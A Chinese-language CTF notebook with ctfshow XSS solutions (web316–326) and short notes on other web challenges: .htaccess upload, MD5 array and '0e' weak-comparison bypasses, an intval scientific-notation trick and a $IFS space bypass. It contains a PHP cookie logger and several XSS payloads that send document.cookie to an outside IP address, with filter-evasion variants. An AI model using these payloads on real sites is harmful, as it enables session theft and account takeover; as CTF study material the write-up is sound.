ctfshow xss

时间:2024-12-13 06:59:30

1.web316

看的wp

先在服务器上写一个php文件

<?php
	$cookie = $_GET['cookie'];
	$time = date('Y-m-d h:i:s', time());
	$log = fopen("cookie.txt", "a");
	fwrite($log,$time.':    '. $cookie . "\n");
	fclose($log);
?>

获取cookie的值,获取日期和时间,打开cookie.txt文件,将时间和cookie写入文件,并用冒号和空格分隔。

<script>location.href="http://ip/.php?cookie="+document.cookie</script>

location.href获取当前页面的url的属性

document.cookie获取当前页面所有cookie的属性,以字符串的形式附加到查询字符串

简单来说就是通过访问上面代码的文件,将自己的cookie写入到cookie.txt

后台会每隔⼀段时间(⼀般为15秒)去访问⼀次我们的链接(毕竟要领10个鸡蛋bot要康康你的分 享状态),当BOT访问我们的xss的时候我们就能拿到admin的cookie。

连续访问…

2.web317

做了过滤,进行测试判断过滤了什么

通过测试发现过滤了<script>

可以使用body,img,svg绕过

<svg onload="location.href='http://47.100.184.216:8081/1.php?cookie='+document.cookie"/>

前面标签,后面通过onload,指定当前页面加载完成后要执行的脚本

3.web318

增加了过滤,但上面的payload还可以用,通过测试是多过滤了img

4.web319

上面的payload,还是可以

5.web320

上面的payload,不可以了

测试过滤什么

后面的没问题,通过测试过滤了空格,空格可以用%09,tab ,/ ,/**/代替。

6.web321

上一题的payload成功,

7.web322

过滤了script,img,iframe,xss,空格,逗号。

//<svg/οnlοad="location.href='http://47.100.184.216:8081/1.php?cookie='+document.cookie"/>

但这个payload还是可以

8.web323

过滤了/

9.web324

还是可以

<svg/onload="location.href='http://47.100.184.216:8081/1.php?cookie='+document.cookie"/>

10.web325

上⼀题payload成功了

11.web326

上⼀题payload成功了

12.[SWPUCTF 2021 新生赛]easyupload3.0

在上传.htaccess的时候前面不要添加名字,不然无法执行

htaccess 在站点的根目录下面,不是在apache目录下,但是它属于apache的一个配置文件

http.conf文件(前提条件)

在此文件中设置 AllowOverried All ,才能使用.htaccess文件

使用php来解析jpg文件

然后上传jpg文件

13.[BJDCTF 2020]easy_md5

访问发现没有什么东西,看了源码和js,都没什么东西

然后用bp抓包看了一下

hint(提示)

搜索了一下

输入之后跳转

访问levell14.php

前面的确保param1 和 param2 的值不相等,后面的确保 param1 和 param2 的MD5散列值相等。

使用数组绕过

PHP 中的 md5() 函数允许你使用 数组 作为该函数的参数, md5() 函数对于 任何数组 都将返回 NULL。

param1[]=1 param2[]=2

前面的判断没有MD5,通过第一个元素不同绕过,后面的通过数组都为空绕过

14.[NSSCTF 2022 Spring Recruit]babyphp

a不能包含任何数字,还要确保它可以转换为一个非零整数

intval()函数空的 array 返回 0,非空的 array 返回 1

使用数组绕过

第二个绕过和上面的差不多也是使用数组绕过

第三个需要确保值不相等,是字符串,md5值相等但是是弱比较

弱判断下,0e开头的数等于0,所以使两端的md5值都为0e开头即可

以下这些字符串,md5哈希之后都是0e开头的

QLTHNDT 0e405967825401955372549139051580

QNKCDZO 0e830400451993494058024219903391

s878926199a 0e545993274517709034328855841020

[GDOUCTF 2023]EZ WEB

访问就一个按钮,点击提示在附近

有一个目录,访问,是python代码

定义一个路由装饰器,将URL路径 '/super-secret-route-nobody-will-guess' 映射到 flag 函数。指定该路由只响应PUT请求。

以put访问,/super-secret-route-nobody-will-guess

HTTP PUT 请求方法创建一个新的资源或用请求的有效载荷替换目标资源的表示。

15.ezbypass-cat

看了源码和网络发现没什么有用的

爆破也没什么东西,进行一下目录爆破,也是没什么有用的

看了一下wp,发现是通过目录扫描扫到了flag.html,但是进行了重定向,用bp抓一下包就可以了

16.[WUSTCTF 2020]朴实无华

看了网络和源码没有有用的东西

目录扫描,扫到了两个地址

访问是一个假的flag

抓包,发现了/fl4g.php

第一个if检查了num 的整数值是否小于2020,并且num+1的整数值是否大于2021。

根据intval()函数的使用方法,当函数中用字符串方式表示科学计数法时,函数的返回值是科学计数法前面的一个数,而对于科学计数法加数字则会返回科学计数法的数值

当使用科学计数法来判断num<2020时,11e3会被强制转换为int类型,相当于11,但是当用这种办法来判断+1时,科学计数法就会被解析出来11e3+1就是11001,这样就进行了绕过

第二个if检查了md5参数的值是否等于其MD5散列值。

弱比较,只要找到一个值的MD5值等于他本身就可以了

0e215962017

第三个不能有空格,$IFS$9